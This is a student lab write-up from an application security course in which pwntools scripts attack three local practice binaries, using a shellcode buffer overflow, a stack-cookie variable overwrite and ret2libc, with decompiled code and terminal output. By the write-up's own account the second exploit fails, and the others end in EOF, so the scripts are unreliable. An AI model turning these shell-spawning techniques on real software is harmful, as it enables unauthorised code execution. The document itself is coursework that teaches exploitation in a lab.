Alex Smetana

CIS311 – Application Security

04/13/2023

lab3-1.bin Download lab3-1.bin- Buffer overflow. No handy "win()" function to just jump to. For this one you'll need to craft some shellcode of own, place it on the stack, then find a way to redirect the instruction pointer to it. Fun fact, this is nearly the same attack that Aleph One described in his seminal paper "Smashing the Stack for Fun and Profit" back in 1996! A must read for those entering the field of software exploitation. http://www.phrack.org/issues/49/14.html#articleLinks to an external site.

Lab 3-1:

The first step is to run the code and analyze what we are dealing with. The code prompts a user for their name and repeats it out to the user. We start running the code into Ghidra and we find the main function.

After seeing the code analyzed in ghidra. the **char local_88 [128]** buffer is the target. To make the exploit happen we will need to overflow the buffer which is a size of 128. Since there is no function to pop the shell, we will just do it by ourselves. Based on that and the directions given, all that we need to do is craft shell code, overflow the buffer, and send it to an address since there is no function to send it too.

Code Walkthrough

- Import pwn tools and establish a connection to the file. In the example code we are doing this locally.
- Make the address to what we would like to jump to. I couldn't find the address on my own, so I am using an address from a previous example. **JMPRSP=(return address)**
- Craft the shellcode using the **command shellcode = asm(shellcraft.sh())**
- Define the code using the variable exploit. In the example I chose to use **b"A" * 200** which overkill for the small buffer size.
- Create the process so the file knows which file to exploit**. p = process("lab3-1.bin")**
- Send the payload to the file. **p.sendline(bufferFill + p64(JMPRSP) + shellcode + b"\n")**
- Interact with the **code p.interactive**

Main Function of the Code:

```
┌──(kali㉿kali)-[~]
└─$ cd Desktop

┌──(kali㉿kali)-[~/Desktop]
└─$ ls
lab3-1.bin  lab3-1.py  lab3-2.bi

┌──(kali㉿kali)-[~/Desktop]
└─$ ./lab3-1.bin
Hello! What's your name?: bill
Nice to meet you bill

┌──(kali㉿kali)-[~/Desktop]
└─$
```

```
undefined8 main(EVP_PKEY_CTX *param_1)

{
  char local_88 [128];

  init(param_1);
  printf("Hello! What\'s your name?: ");
  gets(local_88);
  printf("Nice to meet you %s\n",local_88);
  return 0;
}
```

Code exploit:

```
from pwn import *

# address of the function we want to return to
JMPRSP=0x401181

# shellcode to spawn a shell
shellcode = asm(shellcraft.sh())

# Buffer is 128. Padding to fill up the buffer.
bufferFill = b"A" * 200

# connect to the remote target
p = process("./lab3-1.bin")

# send the payload
p.sendline(bufferFill + p64(JMPRSP) + shellcode + b"\n")

# interact with the shell
p.interactive()
```

```
from pwn import *

# address of the function we want to return to
JMPRSP=0x401181

# shellcode to spawn a shell
shellcode = asm(shellcraft.sh())

# Buffer is 128. Padding to fill up the buffer.
bufferFill = b"A" * 200

# connect to the remote target
p = process("./lab3-1.bin")

# send the payload
p.sendline(bufferFill + p64(JMPRSP) + shellcode + b"\n")

# interact with the shell
p.interactive()
```

Final Output:

```
┌──(kali㉿kali)-[~/Desktop]
└─$ python ./lab3-1.py
[+] Starting local process './lab3-1.bin': pid 335397
[*] Switching to interactive mode
Hello! What's your name?: Nice to meet you AAAAAAAAAAAAA
AAAAAAAA\x81\x11
[*] Got EOF while reading in interactive
$
```

lab3-2.bin Download lab3-2.bin- Stack cookies. Remember, the stack cookie is ONLY meant to protect the function's return address and saved frame-pointer. Other variables on the stack may be overwritten before the stack cookie is reached. https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/Links to an external site.

Lab 3-2:

Like the previous example, the first step is to run the code and analyze what we are dealing with. The code prompts a user for their name and repeats it out to the user. We start running the code into Ghidra and we find the main function. The program asks a user for input with 3 options with two of them only being access to a root account.

Our main goal is to break the program. We don't need access to the root account to gain access. Based on the code above, the value 0x593 (1337) is the value of the root account and 999 is the value of the guest account. We can notice that it does make a comparison at some point between the 2 values. My though process when doing this assignment was to attempt to read until the question gets asked, overflow the buffer, and use the 0x593 to assign ourselves into root account.

Code Walkthrough

- Import pwn tools and establish a connection to the file. In the example code we are doing this locally
- Create the overflow using A's greater than the stack size and the value address.
- Read until the first option to and send a 1 to trigger the option to change the password. Followed by sending the overflow and hex value of the root account.
- Send a '3' to select the debug shell option
- Interact with the program.

Unfortunately, the solution was not successful. Somewhere I messed up the code, most likely during the hexadecimal address.

Main Function of the Code:

```
void main(EVP_PKEY_CTX *param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined4 local_20;
  int local_1c;
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  local_38 = 0x3332317473657547;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_1c = 999;
  init(param_1);
  printf("Welcome, you are logged in as \'%s\'\n",&local_38);
  do {
    while( true ) {
      while( true ) {
        printf("\nHow can I help you, %s?\n",&local_38);
        puts(" (1) Change username");
        puts(" (2) Switch to root account");
        puts(" (3) Start a debug shell");
        printf("Choice: ");
        iVar1 = get_int();
        if (iVar1 != 1) break;
        printf("Enter new username: ");
        __isoc99_scanf(&DAT_001020c6,&local_38);
      }
      if (iVar1 != 2) break;
      puts("Sorry, root account is currently disabled");
    }
    if (iVar1 == 3) {
      if (local_1c == 999) {
        puts("Sorry, guests aren\'t allowed to use the debug shell")
      }
      else if (local_1c == 0x539) {
        puts("Starting debug shell");
        execl("/bin/bash","/bin/bash",0);
      }
      else {
        puts("Unrecognized user type");
```

```
┌──(kali㉿kali)-[~/Desktop]
└─$ ./lab3-2.bin
Welcome, you are logged in as 'Guest123'

How can I help you, Guest123?
 (1) Change username
 (2) Switch to root account
 (3) Start a debug shell
Choice: 1
Enter new username: Bill

How can I help you, Bill?
 (1) Change username
 (2) Switch to root account
 (3) Start a debug shell
Choice: 3
Sorry, guests aren't allowed to use the debu

How can I help you, Bill?
 (1) Change username
 (2) Switch to root account
 (3) Start a debug shell
Choice: 2
Sorry, root account is currently disabled

How can I help you, Bill?
 (1) Change username
 (2) Switch to root account
 (3) Start a debug shell
Choice:
```

```
from pwn import *

#Connect to bin
p = process("./lab3-2.bin")

#Overflow + address
#Return address is probably wrong.
overflow = (b'A' * 100 + p64(0x539))

# Select Question 1
p.sendlineafter(b'Choice: ', b'1')

#Select Bufferoverflow
p.sendlineafter(b'Enter new username: ',
overflow)

# Select option #3 to shell
p.sendlineafter(b'Choice: ', b'3')
p.sendline(b'3')

p.interactive()
```

```
from pwn import *

#Connect to bin
p = process("./lab3-2.bin")

#Overflow + address
#Return address is probably wrong.
overflow = (b'A' * 100 + p64(0x539))

# Select Question 1
p.sendlineafter(b'Choice: ', b'1')

#Select Bufferoverflow
p.sendlineafter(b'Enter new username: ', overflow)

# Select option #3 to shell
p.sendlineafter(b'Choice: ', b'3')
p.sendline(b'3')

p.interactive()
```

Final Output:

```
[+] Starting local process './lab3-2.bin': pid 3544
[*] Switching to interactive mode
Unrecognized user type

How can I help you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA9\x05
 (1) Change username
 (2) Switch to root account
 (3) Start a debug shell
Choice: Unrecognized user type

How can I help you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA9\x05
 (1) Change username
 (2) Switch to root account
 (3) Start a debug shell
Choice: $
```

lab3-3.bin Download lab3-3.bin- DEP/NX. No long complicated ROP chain needed here, ret2libc should work. Why on earth is the program showing all that sensitive "debugging" information??? That seems excessive. Here's a blog post you might find helpful: https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/Links to an external site.

Lab 3-3:

Like the previous example, the first step is to run the code and analyze what we are dealing with. The code has a buffer size of 32. The program loads a screen with sensitive information.

For this lab I used the./**1bin** under the Deep Nx folder as a template. For this the directions specify to use ret2libc and based off the code I followed the directions.

Code Walkthrough

- Import pwn tools and establish a connection to the file. In the example code we are doing this locally
    - RET value is found by the command **print main** and scrolling through the program to find <main + value>
    - POPRDI value is found by the command **Ropper -f ./lab3-3.bin –search "pop rdi"**
    - SC value is found by the command **Search-pattern "/bin/sh/"**
    - System value is found by the command **print system**
- Setup the process using **p = process("./lab3-3.bin")**
- Using the process put all the variables together and send the
- Create the overflow using A's greater than the stack size and the value address.

Main Function of the Code:

```
undefined8 main(EVP_PKEY_CTX *param_1)

{
  char local_28 [32];

  init(param_1);
  puts("Boot sequence initiated\n");
  puts("Loading ........................[DONE]");
  puts("Downloading more RAM ............[DONE]");
  puts("Constructing additional pylons ..[DONE]");
  puts("Staring up BonziBuddy.exe .......[DONE]");
  printf("Default user shell is: \'%s\' \n","/bin/sh");
  puts("Debug function log:");
  printf(" * system() @ %016lx\n",system);
  puts("System online!\n");
  printf("[guest@localhost]:~ $ ");
  gets(local_28);
  return 0;
}
```

```
┌──(kali㉿kali)-[~/Desktop]
└─$ ./lab3-3.bin
Boot sequence initiated

Loading ........................[DONE]
Downloading more RAM ............[DONE]
Constructing additional pylons ..[DONE]
Staring up BonziBuddy.exe .......[DONE]
Default user shell is: '/bin/sh'
Debug function log:
 * system() @ 00007fc104fa7330
System online!

[guest@localhost]:~ $
```

Code Exploit:

```
from pwn import *

RET = 0x000000004013b4
POPRDI = 0x0000000000401423
SC = 0x7ffff7f63031
SYSTEM = 0x7ffff7e19330

# Set up the connection to the vulnerable program
p = process("./lab3-3.bin")

p.send(b"A" * 100 + p64(RET) + p64(POPRDI) + p64(SC) + p64(SYSTEM) + b"\n")

# Interact with the shell to execute commands
p.interactive()
```

```
from pwn import *

RET = 0x000000004013b4
POPRDI = 0x0000000000401423
SC = 0x7ffff7f63031
SYSTEM = 0x7ffff7e19330

# Set up the connection to the vulnerable program
p = process("./lab3-3.bin")

p.send(b"A" * 100 + p64(RET) + p64(POPRDI) + p64(SC) + p64(SYSTEM) + b"\n")

# Interact with the shell to execute commands
p.interactive()
```

Final Output:

```
┌──(kali㉿kali)-[~/Desktop]
└─$ python ./lab3-3.py
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/kali/
 way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.con
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.9.0)
[+] Starting local process './lab3-3.bin': pid 224777
[*] Switching to interactive mode
Boot sequence initiated

Loading .......................[DONE]
Downloading more RAM ...........[DONE]
Constructing additional pylons ..[DONE]
Staring up BonziBuddy.exe .......[DONE]
Default user shell is: '/bin/sh'
Debug function log:
 * system() @ 00007fcf1d03b330
System online!

[guest@localhost]:~ $ [*] Got EOF while reading in interactive
$
```